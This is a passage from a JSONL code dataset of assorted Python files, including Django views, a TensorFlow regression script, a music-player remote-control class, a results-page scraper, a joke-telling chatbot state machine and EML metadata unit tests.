fileMenu.add_command(label=\"Exit\", command=_quit)\n\n \n\n #message box example\n def _msgBox():\n mBox.showinfo('Python Message Info Box', 'A Python GUI created using tkinter:\\nThe year is 2018.')\n mBox.showwarning('Python Message Warning Box', 'A Python GUI created using tkinter:\\nWarning: There might be a bug in this code.')\n mBox.showerror('Python Message Error Box', 'A Python GUI created using tkinter:\\nError: Houston ~ we DO have a serious PROBLEM!')\n # Add another Menu to the Menu Bar and an item\n\n helpMenu = Menu(menuBar, tearoff=0)\n menuBar.add_cascade(label=\"Help\", menu=helpMenu)\n helpMenu.add_command(label=\"About\", command=_msgBox)\n\n #tooltip example\n #tt.createToolTip(spin,\"this is a spin ctrl\")\n\n #todo, see: canvas page 63, mathplotlibs, threads, queues, networking, dialog widgets, SQL,\n\n #image on canvas \n img=PhotoImage(file=PATH_TO_IMAGE_FILES+'/GHouse.png')\n canvas = Canvas(tab3, width = 300, height = 300) \n canvas.pack() \n canvas.create_image(20,20, anchor='nw', image=img)\n\n #https://pythonspot.com/tk-file-dialogs/\n\n #focus on textbox widget\n nameTextBox.focus()\n\n win_main.mainloop()\n\n\nif __name__ == '__main__': unittest.main()","sub_path":"chris_p1/test_suites/test_suite_gui_tkinter_widgets.py","file_name":"test_suite_gui_tkinter_widgets.py","file_ext":"py","file_size_in_byte":7974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"533897180","text":"import operator\nimport uuid\nfrom functools import reduce\n\nfrom django import forms\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom django.db.models import Case, Count, Q, When\nfrom django.db.models.functions import Lower\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import reverse\nfrom django.utils import timezone\nfrom django.views import generic\n\nfrom accounts.models import User\nfrom accounts.utils import (get_permitted_triggers, status_tooltip_text,\n update_trigger)\nfrom guardian.mixins import LoginRequiredMixin\nfrom guardian.shortcuts import (get_objects_for_user, get_perms,\n get_users_with_perms)\nfrom studies.forms import StudyEditForm, StudyForm\nfrom studies.models import Study, StudyLog\n\n\nclass StudyCreateView(LoginRequiredMixin, PermissionRequiredMixin, generic.CreateView):\n '''\n StudyCreateView allows a user to create a study and then redirects\n them to the detail view for that study.\n '''\n fields = ('name', 'organization', 'blocks', )\n model = Study\n permission_required = 'studies.can_create_study'\n raise_exception = True\n\n def get_form_class(self):\n return StudyForm\n\n def form_valid(self, form):\n user = self.request.user\n form.instance.creator = user\n form.instance.organization = user.organization\n self.object = form.save()\n # TODO Should this be moved to the model - adding creator to study admin group on creation?\n self.add_creator_to_study_admin_group()\n return HttpResponseRedirect(self.get_success_url())\n\n def add_creator_to_study_admin_group(self):\n study_admin_group = self.object.study_admin_group\n study_admin_group.user_set.add(self.request.user)\n return study_admin_group\n\n def get_success_url(self):\n return reverse('exp:study-detail', kwargs=dict(pk=self.object.id))\n\n\nclass StudyListView(LoginRequiredMixin, PermissionRequiredMixin, generic.ListView):\n '''\n StudyListView shows a list of studies that a user has permission to.\n '''\n model = Study\n template_name = 'studies/study_list.html'\n permission_required = 'studies.can_view_study'\n raise_exception = True\n\n def get_queryset(self, *args, **kwargs):\n request = self.request.GET\n queryset = get_objects_for_user(self.request.user, 'studies.can_view_study').exclude(state='archived')\n\n state = request.get('state')\n if state and state != 'all':\n if state == 'myStudies':\n queryset = queryset.filter(creator=self.request.user)\n else:\n queryset = queryset.filter(state=state)\n\n match = request.get('match')\n if match:\n queryset = queryset.filter(reduce(operator.or_,\n (Q(name__icontains=term) | Q(short_description__icontains=term) for term in match.split())))\n\n sort = request.get('sort')\n if sort:\n if 'name' in sort:\n queryset = queryset.order_by(sort)\n elif 'beginDate' in sort:\n # TODO optimize using subquery\n queryset = sorted(queryset, key=lambda t: t.begin_date or timezone.now(), reverse=True if '-' in sort else False)\n elif 'endDate' in sort:\n # TODO optimize using subquery\n queryset = sorted(queryset, key=lambda t: t.end_date or timezone.now(), reverse=True if '-' in sort else False)\n\n queryset = queryset.select_related('creator')\n queryset = queryset.annotate(completed_responses_count=Count(Case(When(responses__completed=True, then=1))))\n queryset = queryset.annotate(incomplete_responses_count=Count(Case(When(responses__completed=False, then=1))))\n\n return queryset\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['state'] = self.request.GET.get('state', 'all')\n context['match'] = self.request.GET.get('match') or ''\n context['sort'] = self.request.GET.get('sort') or ''\n return context\n\n\nclass StudyDetailView(LoginRequiredMixin, PermissionRequiredMixin, generic.DetailView):\n '''\n StudyDetailView shows information about a study.\n '''\n template_name = 'studies/study_detail.html'\n model = Study\n permission_required = 'studies.can_view_study'\n raise_exception = True\n\n def post(self, *args, **kwargs):\n update_trigger(self)\n if self.request.POST.get('clone_study'):\n clone = self.get_object().clone()\n clone.creator = self.request.user\n clone.organization = self.request.user.organization\n clone.save()\n return HttpResponseRedirect(reverse('exp:study-detail', kwargs=dict(pk=clone.pk)))\n return HttpResponseRedirect(reverse('exp:study-detail', kwargs=dict(pk=self.get_object().pk)))\n\n @property\n def study_logs(self):\n ''' Returns a page object with 10 study logs'''\n logs_list = self.object.logs.all().order_by('-created_at')\n paginator = Paginator(logs_list, 10)\n page = self.request.GET.get('page')\n try:\n logs = paginator.page(page)\n except PageNotAnInteger:\n logs = paginator.page(1)\n except EmptyPage:\n logs = paginator.page(paginator.num_pages)\n return logs\n\n def get_context_data(self, **kwargs):\n context = super(StudyDetailView, self).get_context_data(**kwargs)\n context['triggers'] = get_permitted_triggers(self,\n self.object.machine.get_triggers(self.object.state))\n context['logs'] = self.study_logs\n state = self.object.state\n context['status_tooltip'] = status_tooltip_text.get(state, state)\n return context\n\n\nclass StudyUpdateView(LoginRequiredMixin, PermissionRequiredMixin, generic.UpdateView):\n '''\n StudyUpdateView allows user to edit study.\n '''\n template_name = 'studies/study_edit.html'\n form_class = StudyEditForm\n model = Study\n permission_required = 'studies.can_edit_study'\n raise_exception = True\n\n def get_study_researchers(self):\n ''' Pulls researchers that belong to Study Admin and Study Read groups '''\n study = self.get_object()\n return User.objects.filter(Q(groups__name=self.get_object().study_admin_group.name) | Q(groups__name=self.get_object().study_read_group.name)).distinct()\n\n def search_researchers(self):\n ''' Searches user first, last, and middle names for search query. Does not display researchers that are already on project '''\n search_query = self.request.GET.get('match', None)\n researchers_result = None\n if search_query:\n current_researcher_ids = self.get_study_researchers().values_list('id', flat=True)\n user_queryset = User.objects.filter(organization=self.request.user.organization,is_active=True)\n researchers_result = user_queryset.filter(reduce(operator.or_,\n (Q(family_name__icontains=term) | Q(given_name__icontains=term) | Q(middle_name__icontains=term) for term in search_query.split()))).exclude(id__in=current_researcher_ids).distinct().order_by(Lower('family_name').asc())\n researchers_result = self.build_researchers_paginator(researchers_result)\n return researchers_result\n\n def build_researchers_paginator(self, researchers_result):\n '''\n Builds paginated search results for researchers\n '''\n paginator = Paginator(researchers_result, 5)\n page = self.request.GET.get('page')\n try:\n users = paginator.page(page)\n except PageNotAnInteger:\n users = paginator.page(1)\n except EmptyPage:\n users = paginator.page(paginator.num_pages)\n return users\n\n def manage_researcher_permissions(self):\n '''\n Handles adding, updating, and deleting researcher from study. Users are\n added to study read group by default.\n '''\n study_read_group = self.get_object().study_read_group\n study_admin_group = self.get_object().study_admin_group\n add_user = self.request.POST.get('add_user')\n remove_user = self.request.POST.get('remove_user')\n update_user = None\n if self.request.POST.get('name') == 'update_user':\n update_user = self.request.POST.get('pk')\n permissions = self.request.POST.get('value')\n\n if add_user:\n study_read_group.user_set.add(User.objects.get(pk=add_user))\n if remove_user:\n remove = User.objects.get(pk=remove_user)\n study_read_group.user_set.remove(remove)\n study_admin_group.user_set.remove(remove)\n if update_user:\n update = User.objects.get(pk=update_user)\n if permissions == 'study_admin':\n study_read_group.user_set.remove(update)\n study_admin_group.user_set.add(update)\n if permissions == 'study_read':\n study_read_group.user_set.add(update)\n study_admin_group.user_set.remove(update)\n\n def post(self, *args, **kwargs):\n '''\n Handles all post forms on page - 1) study metadata like name, short_description, etc. 2) researcher add 3) researcher update\n 4) researcher delete 5) Changing study status / adding rejection comments\n '''\n if 'short_description' in self.request.POST:\n # Study metadata is being edited\n super().post(*args, **kwargs)\n\n update_trigger(self)\n self.manage_researcher_permissions()\n return HttpResponseRedirect(reverse('exp:study-edit', kwargs=dict(pk=self.get_object().pk)))\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n state = self.object.state\n\n context['current_researchers'] = self.get_study_researchers()\n context['users_result'] = self.search_researchers()\n context['search_query'] = self.request.GET.get('match')\n\n context['status_tooltip'] = status_tooltip_text.get(state, state)\n context['triggers'] = get_permitted_triggers(self, self.object.machine.get_triggers(state))\n return context\n\n def get_success_url(self):\n return reverse('exp:study-detail', kwargs={'pk': self.object.id})\n","sub_path":"exp/views/study.py","file_name":"study.py","file_ext":"py","file_size_in_byte":10425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"270745388","text":"# This Code provides the basic implementation of DNN\n\n# Std TF Calls fo printing and logging\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\n\nimport tensorflow as tf\n\nimport Data_loader\n\n# This code defines some of the hyper parameters which can be passed as ARGS\nparser = argparse.ArgumentParser()\nparser.add_argument('--batch_size', default=100, type=int, help='batch size')\nparser.add_argument('--train_steps', default=1000, type=int,\n help='number of training steps')\n\ndef main(argv):\n args = parser.parse_args(argv[1:])\n\n # Load data from Data Loader class and pass the label column name; \n # This return tf.Datasets\n (train_x,train_y), (test_x, test_y) = Data_loader.load_data('A')\n\n # Feature columns describe how to use the input.\n my_feature_columns = []\n for key in train_x.keys():\n my_feature_columns.append(tf.feature_column.numeric_column(key=key))\n\n # Build a DNNRegressor, with 2x20-unit hidden layers, with the feature columns\n # defined above as input.\n model = tf.estimator.DNNRegressor(\n hidden_units=[5, 4], feature_columns=my_feature_columns, model_dir=\"/tmp/Reg_Test1_model\")\n\n # Train the model.\n # By default, the Estimators log output every 100 steps.\n model.train(input_fn=lambda:Data_loader.train_input_fn(train_x, train_y,\n args.batch_size),\n steps=args.train_steps)\n\n # Evaluate how the model performs on data it has not yet seen.\n eval_result = model.evaluate(input_fn=lambda:Data_loader.eval_input_fn(test_x, test_y,\n args.batch_size),\n steps=args.train_steps)\n\n # The evaluation returns a Python dictionary. The \"average_loss\" key holds the\n # Mean Squared Error (MSE).\n average_loss = eval_result[\"average_loss\"]\n\n # Convert MSE to Root Mean Square Error (RMSE).\n print(\"\\nRMS error for the test set: ${:.0f}\"\n .format(average_loss))\n\n\n #Prediction of local data here\n predict_x = {\n 'x': [4.738013833 , 4.08882312, 2.113558065],\n 'y': [1.618906654, 0.132222159, 1.00509475]\n }\n\n predictions = model.predict(\n input_fn=lambda:Data_loader.eval_input_fn(predict_x,\n labels=None,\n batch_size=args.batch_size))\n\n print(predictions)\n\n\n \nif __name__ == \"__main__\":\n # The Estimator periodically generates \"INFO\" logs; make these logs visible.\n tf.logging.set_verbosity(tf.logging.INFO)\n tf.app.run(main=main)\n\n\n\n\n\n","sub_path":"REG_TEST/Reg_Test1.py","file_name":"Reg_Test1.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"108744694","text":"import bs4,requests;\n\n\nclass getResultData:\n\n def __init__(self,rollno):\n self.backlogs=0\n originalData=requests.get('http://epayments.jntuh.ac.in/results/resultAction?degree=btech&examCode=1387&etype=r16&result=null&grad=null&type=grade16&htno='+rollno.upper());\n parsedData=bs4.BeautifulSoup(originalData.text,'html.parser')\n savedData=[]\n for x in parsedData.find_all('td'):\n savedData.append(str(x).replace('','').replace('','').replace('','').replace('

','').replace('','').replace('0):\n print(\"t\")\n self.cgpa=0\n else:\n print(\"t2\")\n self.cgpa=format(cgpa,'.2f')\n","sub_path":"getResults.py","file_name":"getResults.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"556922640","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# Author: Florian Scherf \n# License: MIT License\n\nimport os\nimport sys\nimport re\nimport socket\n\n\nclass regex:\n status = r'(tag|set)? ?(\\w+) (.*)\\n'\n playing = r'^status playing\\n(.*)'\n paused = r'^status paused\\n(.*)'\n stopped = r'^status stopped\\n(.*)'\n paused_or_stopped = r'^status (paused|stopped)\\n(.*)'\n\n\nclass CmusConnectionError(Exception):\n def __init__(self, msg):\n super(CmusConnectionError, self).__init__(msg)\n\n\nclass CmusRemote(object):\n def __init__(self, user=None):\n if user:\n self.socket_path = os.path.join(os.expanduser('~' + user),\n '.cmus/socket')\n else:\n self.socket_path = os.path.join(os.environ['HOME'], '.cmus/socket')\n self._connect()\n\n def __del__(self):\n self._disconnect()\n\n def _connect(self):\n try:\n self._socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n self._socket.connect(self.socket_path)\n except socket.error as e:\n if e.errno == 2:\n raise CmusConnectionError(\n 'No such file or directory: \\'%s\\'' % self.socket_path)\n raise e\n\n def _disconnect(self):\n self._socket.close()\n\n def reconnect(self):\n self._disconnect()\n self._connect()\n\n def _send_cmd(self, cmd, bufsize=4096):\n try:\n self._socket.send(('%s\\n' % cmd).encode('ascii'))\n return self._socket.recv(bufsize)\n except socket.error as e:\n if e.errno == 32:\n raise CmusConnectionError('Broken pipe')\n elif e.errno == 107:\n raise CmusConnectionError(\n 'Transport endpoint is not connected')\n raise e\n\n def is_playing(self):\n \"\"\"\n Returns True if status is 'playing'.\n \"\"\"\n status = self._send_cmd('status')\n return re.match(regex.playing, status) != None\n\n def is_paused(self):\n \"\"\"\n Returns True if status is 'paused'.\n \"\"\"\n status = self._send_cmd('status')\n return re.match(regex.paused, status) != None\n\n def is_stopped(self):\n \"\"\"\n Returns True if status is 'stopped'.\n \"\"\"\n status = self._send_cmd('status')\n return re.match(regex.stopped, status) != None\n\n def is_paused_or_stopped(self):\n \"\"\"\n Returns True if status is 'paused' or 'stopped'.\n \"\"\"\n status = self._send_cmd('status')\n return re.match(regex.paused_or_stopped, status) != None\n\n def status(self):\n \"\"\"\n Returns current status as dict.\n \"\"\"\n status = self._send_cmd('status')\n ret = re.findall(regex.status, status, re.MULTILINE)\n ret = {i[1]: i[2] for i in ret}\n\n for k, v in ret.items():\n if k in ['artist', 'album', 'comment', 'date', 'genre']:\n continue\n\n if v == 'true':\n ret[k] = True\n elif v == 'false':\n ret[k] = False\n else:\n try:\n ret[k] = int(v)\n continue\n except ValueError:\n pass\n\n try:\n ret[k] = float(v)\n continue\n except ValueError:\n pass\n\n return ret\n\n def status_string(self, status=None, utf8=False):\n if not status:\n status = self.status()\n\n status_string = ''\n\n if status['status'] == 'playing':\n status_string += '▶' if utf8 else '>'\n elif status['status'] == 'paused':\n status_string += '▮▮' if utf8 else '|'\n else:\n status_string += '◼' if utf8 else '.'\n\n return status_string\n\n def now_playing_string(self, status=None):\n if not status:\n status = self.status()\n\n try:\n return '%s - %s' % (status['artist'], status['title'])\n except KeyError:\n pass\n\n try:\n return '%s' % status['title']\n except KeyError:\n pass\n\n try:\n return os.path.splitext(os.path.basename(status['file']))[0]\n except KeyError:\n return ''\n\n def time_string(self, status=None):\n if not status:\n status = self.status()\n\n try:\n return '%02d:%02d / %02d:%02d' % (status['position'] / 60,\n status['position'] % 60,\n status['duration'] / 60,\n status['duration'] % 60)\n except KeyError:\n return '00:00 / 00:00'\n\n def full_status_string(self, status=None, utf8=False):\n if not status:\n status = self.status()\n\n return '%s %s [%s]' % (self.status_string(status=status, utf8=utf8),\n self.now_playing_string(status=status),\n self.time_string(status=status))\n\n def play(self):\n \"\"\"\n Toggles play.\n \"\"\"\n if self.is_paused_or_stopped():\n self._send_cmd('player-play')\n return self.is_playing()\n elif self.is_playing():\n self._send_cmd('player-pause')\n return self.is_paused()\n self._send_cmd('player-play')\n return self.is_playing()\n\n def pause(self):\n \"\"\"\n Pause player.\n Returns False if player is already paused.\n \"\"\"\n if self.is_paused():\n return False\n self._send_cmd('player-pause')\n return self.is_paused()\n\n def stop(self):\n \"\"\"\n Stop player.\n Returns False if player is already stopped.\n \"\"\"\n if self.is_stopped():\n return False\n self._send_cmd('player-stop')\n return self.is_stopped()\n\n def next(self):\n file = self.status()['file']\n self._send_cmd('player-next')\n return self.status()['file'] != file\n\n def prev(self):\n file = self.status()['file']\n self._send_cmd('player-prev')\n return self.status()['file'] != file\n","sub_path":"cmus/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":6270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"410833019","text":"# coding=utf-8\ndef shanshu(n):\n a=[]\n for i in range(n):\n a.append(i)\n index=0\n while len(a)>1:\n index=(index+2)%len(a)\n a.remove(a[index])\n print(a[0])\nwhile True:\n try:\n n=int(input())\n if n>1000:\n n=999\n shanshu(n)\n except:\n break","sub_path":"Niuke_code/删数.py","file_name":"删数.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"333471689","text":"'''\r\nCreated on 26 Nov 2014\r\n\r\nCommon functions for Python Hadoop Streaming API programs\r\n\r\n@author: ebullen\r\n'''\r\n\r\nimport datetime\r\n\r\nDATETIME = str(datetime.datetime.now())\r\nDATETIME = DATETIME[0:10]+\"_\"+DATETIME[11:19]\r\n\r\nMAPLOG = \"/tmp/mapper_log.\" + DATETIME + \".out\"\r\nREDLOG = \"/tmp/reducer_log.\" + DATETIME + \".out\"\r\n\r\n#list of crime categories that the mapper can output\r\ncrimes_list=(\"bicycle_theft\", #0\r\n \"social\", #1\r\n \"burglary\", #2\r\n \"damage_or_arson\", #3\r\n \"drugs\", #4\r\n \"other_theft\", #5\r\n \"weapons\", #6\r\n \"public_order\", #7 \r\n \"shoplifting\", #8 \r\n \"robbery\", #9\r\n \"theft_person\", #10\r\n \"vehicle_crime\", #11 \r\n \"violence_sex\", #12\r\n \"other_crime\", #13\r\n \"unclassified\", #14\r\n \"missing_data\") #15\r\n\r\n \r\ndef init_crimes():\r\n \"\"\"\r\n Returns a crimes dictionary, generated from the list of \"crimes_list\" with values all set to 0\r\n \"\"\"\r\n # Python 2.7 syntax: crimes = {crime:0 for crime in crimes_list}\r\n \r\n # Python 2.6 Syntax: \r\n crimes= {}\r\n for crime in crimes_list:\r\n crimes[crime] = 0\r\n \r\n return(crimes)\r\n \r\n","sub_path":"mapred_shared.py","file_name":"mapred_shared.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"327670335","text":"'''\nCreated on Nov 4, 2016\n\n@author: dva\n'''\n\nimport numpy as np\nimport pylab\nimport seaborn as sns\n\nfrom .settings import OPT_PALETTE\n\ndef create_legend(labels, savepath):\n sns.set_palette(OPT_PALETTE)\n palette = sns.color_palette()\n fig = pylab.figure()\n ax1 = fig.add_subplot(111)\n\n figlegend = pylab.figure(figsize=(11, 0.5))\n\n# num_items = 6; \n# ind = np.arange(1) \n# margin = 0.10\n# width = (1.0 - 2 * margin) / num_items \n# \n# bars = [None] * len(labels) * 2\n\n for group in xrange(len(labels)): \n data = [1]\n #bars[group] = ax1.bar(ind + margin + (group * width), data, width, color=palette[group], linewidth=1.2)\n ax1.plot(group, data, color=palette[group], linewidth=7, label=labels[group])\n handles, labs = ax1.get_legend_handles_labels()\n \n # LEGEND\n figlegend.legend(handles, labs, loc=1, ncol=len(labels), mode=\"expand\", shadow=False, \n frameon=False, borderaxespad=0.0, fontsize=18)#, handleheight=2, handlelength=3.5)\n #figlegend.legend(bars, labels, prop=LABEL_FP, loc=1, ncol=len(labels), mode=\"expand\", shadow=False, \n # frameon=False, borderaxespad=0.0, handleheight=2, handlelength=3.5)\n\n figlegend.savefig(savepath, pad_inches=0.0) ","sub_path":"plot/plot_legend.py","file_name":"plot_legend.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"500312841","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.views.generic import ListView, DetailView\nfrom books.models import Book, Publisher\n\n# Create your views here.\ndef search_form(request):\n return render(request, 'search_form.html')\n\n\ndef search(request):\n errors = []\n if 'q' in request.GET and request.GET['q']:\n q = request.GET['q']\n if not q:\n errors.append('Enter a search term')\n elif len(q) > 20:\n errors.append('Please enter at most 20 characters.')\n else:\n books = Book.objects.filter(title__icontains=q)\n return render(request, 'search_results.html', {'books': books, 'query': q})\n\n return render(request, 'search_form.html', {'errors':errors})\n\nclass PublisherList(ListView):\n model = Publisher\n context_object_name = 'my_favorite_publishers'\n\nclass PublisherDetail(DetailView):\n model = Publisher\n\n def get_context_data(self, **kwargs):\n context = super(PublisherDetail, self).get_context_data(**kwargs)\n context['book_list'] = Book.objects.all()\n return context","sub_path":"books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"251425224","text":"from transitions.extensions import GraphMachine\n\nfrom utils import send_text_message, send_img_message\n\nimport random\n\nclass TocMachine(GraphMachine):\n \n def __init__(self, **machine_configs):\n self.machine = GraphMachine(model=self, **machine_configs)\n self.maxnum = 6\n self.joke_num = 0\n self.thing = \"\"\n self.people = \"\"\n self.benefit = \"\"\n self.victim = \"\"\n self.spot = \"\"\n self.stage = 0\n\n def is_going_to_state1(self, event):\n text = event.message.text\n return (text == \"哈囉\" or text.lower() == \"hello\") and self.stage == 0\n\n def on_enter_state1(self, event):\n print(\"I'm entering state1\")\n self.stage = 1\n\n reply_token = event.reply_token\n send_text_message(reply_token, \"是在哈囉\" + \"\\n\" + \"請選擇笑話編號(1~6), 或「隨機」\")\n self.go_back()\n\n def on_exit_state1(self):\n print(\"Leaving state1\")\n\t\t\n def is_going_to_img(self, event):\n text = event.message.text\n return text.lower() == \"fsm\"\n\n def on_enter_img(self, event):\n print(\"I'm entering img state\")\n url='https://i.imgur.com/yWmXNlI.png'\n reply_token = event.reply_token\n send_img_message(reply_token, url)\n self.go_back()\n\n def on_exit_img(self):\n print(\"Leaving img state\")\n \n def is_going_to_random(self, event):\n text = event.message.text\n return text == \"隨機\" and self.stage == 1\n \n def on_enter_random(self, event):\n print(\"I'm entering random\")\n self.stage = 2\n self.joke_num = random.randint(1, self.maxnum)\n\n reply_token = event.reply_token\n send_text_message(reply_token, \"諷刺的事是？\")\n self.go_back()\n\n def on_exit_random(self):\n print(\"Leaving random\")\n \n def is_going_to_joke1_1(self, event):\n if (self.stage == 1):\n self.joke_num = int(event.message.text)\n return self.joke_num >= 1 and self.joke_num <= self.maxnum and self.stage == 1\n \n def on_enter_joke1_1(self, event):\n print(\"I'm entering joke1_1\")\n self.stage = 2\n\n reply_token = event.reply_token\n send_text_message(reply_token, \"諷刺的事是？\")\n self.go_back()\n\n def on_exit_joke1_1(self):\n print(\"Leaving joke1_1\")\n \n def is_going_to_joke1_t(self, event):\n text = event.message.text\n if (self.stage == 2):\n self.thing = text\n return self.thing != \"\" and self.stage == 2 and text != \"退出\"\n \n def on_enter_joke1_t(self, event):\n print(\"I'm entering joke1_t\")\n self.stage = 3\n\n reply_token = event.reply_token\n send_text_message(reply_token, \"提出者是？\")\n self.go_back()\n\n def on_exit_joke1_t(self):\n print(\"Leaving joke1_t\")\n \n def is_going_to_joke1_p(self, event):\n text = event.message.text\n if (self.stage == 3):\n self.people = text\n return self.people != \"\" and self.stage == 3 and text != \"退出\"\n \n def on_enter_joke1_p(self, event):\n print(\"I'm entering joke1_p\")\n self.stage = 4\n\n reply_token = event.reply_token\n send_text_message(reply_token, \"提出者聲稱這件事有何幫助？\")\n self.go_back()\n\n def on_exit_joke1_p(self):\n print(\"Leaving joke1_p\")\n \n def is_going_to_joke1_b(self, event):\n text = event.message.text\n if (self.stage == 4):\n self.benefit = text\n return self.benefit != \"\" and self.stage == 4 and text != \"退出\"\n \n def on_enter_joke1_b(self, event):\n print(\"I'm entering joke1_b\")\n self.stage = 5\n\n reply_token = event.reply_token\n send_text_message(reply_token, \"此事針對的是？\")\n self.go_back()\n\n def on_exit_joke1_b(self):\n print(\"Leaving joke1_b\")\n \n def is_going_to_joke1_v(self, event):\n text = event.message.text\n if (self.stage == 5):\n self.victim = text\n return self.victim != \"\" and self.stage == 5 and text != \"退出\"\n \n def on_enter_joke1_v(self, event):\n print(\"I'm entering joke1_v\")\n self.stage = 6\n\n reply_token = event.reply_token\n send_text_message(reply_token, \"此事的作用範圍？\")\n self.go_back()\n\n def on_exit_joke1_v(self):\n print(\"Leaving joke1_v\")\n \n def is_going_to_joke1_s(self, event):\n text = event.message.text\n if (self.stage == 6):\n self.spot = text\n return self.spot != \"\" and self.stage == 6 and text != \"退出\"\n \n def on_enter_joke1_s(self, event):\n print(\"I'm entering joke1_s\")\n\n reply_token = event.reply_token\n if (self.joke_num == 1):\n send_text_message(reply_token, self.people + \"：由於實施了\" + self.thing + \", 所有\" + self.victim + \"的美好前景已經出現在地平線了。\\n\" + \"一個\" + self.victim + \"問道：什麼是地平線？\\n\" + \"另一個\" + self.victim + \"回答：就是那條看得到但永遠到不了的線。\")\n elif (self.joke_num == 2):\n send_text_message(reply_token, self.people + \"在\" + self.spot + \"隨機問了一個\" + self.victim + \"：請問你對\" + self.thing + \"有什麼意見？\\n\" + \"那位\" + self.victim + \"回答：我有一些意見，但我不同意我的意見。\")\n elif (self.joke_num == 3):\n send_text_message(reply_token, \"那些有心人士是怎麼抹黑\" + self.thing + \"的？\\n\" + \"他們把\" + self.people + \"說的話覆述了一遍。\")\n elif (self.joke_num == 4):\n send_text_message(reply_token, \"一位\" + self.victim + \"的鸚鵡飛走了。這是隻會學人說話的鸚鵡，要是遇到\" + self.people + \"就完了。\\n於是那位\" + self.victim + \"發了條聲明：本人遺失鸚鵡一隻。另外，本人不同意牠對於\" + self.thing + \"的看法。\")\n elif (self.joke_num == 5):\n send_text_message(reply_token, self.thing + \"的前途是什麼？\\n\" + \"可能的情況有兩種：現實的可能是火星人會統治地球幫我們打理一切，科幻的可能是我們成功地\" + self.benefit + \"。\")\n else:\n send_text_message(reply_token, \"法官在法庭上審問一名\" + self.victim + \"：你那時在醫院為什麼要拔掉他的呼吸維持器？\\n那名\" + self.victim + \"答道：他說他相信\" + self.thing + \"能成功\" + self.benefit + \"。\")\n self.go_back()\n\n def on_exit_joke1_s(self):\n print(\"Leaving joke1_s\")\n self.joke_num = 0\n self.thing = \"\"\n self.people = \"\"\n self.benefit = \"\"\n self.victim = \"\"\n self.spot = \"\"\n self.stage = 0\n \n def is_going_to_reset(self, event):\n text = event.message.text\n return text == \"退出\"\n \n def on_enter_reset(self, event):\n print(\"I'm entering reset\")\n self.joke_num = 0\n self.thing = \"\"\n self.people = \"\"\n self.benefit = \"\"\n self.victim = \"\"\n self.spot = \"\"\n self.stage = 0\n \n reply_token = event.reply_token\n send_text_message(reply_token, \"重新啟動\\n請使用關鍵字再次喚醒機器\")\n self.go_back()\n\n def on_exit_reset(self):\n print(\"Leaving reset\")\n ","sub_path":"fsm.py","file_name":"fsm.py","file_ext":"py","file_size_in_byte":7386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"607452131","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\":Mod: test_node\n\n:Synopsis:\n\n:Author:\n servilla\n \n:Created:\n 6/18/18\n\"\"\"\nimport os\nimport sys\nimport unittest\n\nimport daiquiri\n\nfrom metapype.eml2_1_1 import names\nfrom metapype.eml2_1_1 import validate\nfrom metapype.model.node import Node\nfrom metapype.model.node import Shift\n\n\nsys.path.insert(0, os.path.abspath('../src'))\nlogger = daiquiri.getLogger('test_node: ' + __name__)\n\n\nclass TestNode(unittest.TestCase):\n\n def setUp(self):\n self.node = Node(names.EML)\n\n def tearDown(self):\n self.node = None\n\n def test_add_attribute(self):\n self.node.add_attribute('packageId', 'test.1.1')\n self.node.add_attribute('system', 'metapype')\n attributes = self.node.attributes\n for attribute in attributes:\n self.assertTrue(attribute in ['packageId', 'system'])\n value = attributes[attribute]\n self.assertTrue(value in ['test.1.1', 'metapype'])\n\n def test_add_child(self):\n child_1 = Node(names.ACCESS)\n self.node.add_child(child_1)\n children = self.node.children\n self.assertIs(child_1, children[0])\n child_2 = Node(names.DATASET)\n self.node.add_child(child_2, 0)\n self.assertIs(child_2, children[0])\n\n def test_copy(self):\n node = Node(names.GIVENNAME)\n node.content = 'Chase'\n validate.node(node)\n node_copy = node.copy()\n validate.node(node_copy)\n\n def test_create_node(self):\n self.assertIsNotNone(self.node)\n\n def test_find_child(self):\n access = Node(names.ACCESS)\n self.node.add_child(access)\n child = self.node.find_child(names.ACCESS)\n self.assertIs(access, child)\n\n allow = Node(names.ALLOW)\n access.add_child(allow)\n grandchild = self.node.find_child(names.ALLOW)\n self.assertIs(grandchild, allow)\n\n permission = Node(names.PERMISSION)\n allow.add_child(permission)\n great_grandchild = self.node.find_child(names.PERMISSION)\n self.assertIs(great_grandchild, permission)\n\n child = self.node.find_child('nonesuch')\n self.assertIs(child, None)\n \n def test_remove_child(self):\n access = Node(names.ACCESS)\n self.node.add_child(access)\n child = self.node.children[0]\n self.assertIs(access,child)\n self.node.remove_child(child)\n self.assertNotIn(access, self.node.children)\n\n def test_replace_child(self):\n individual_name = Node(names.INDIVIDUALNAME)\n 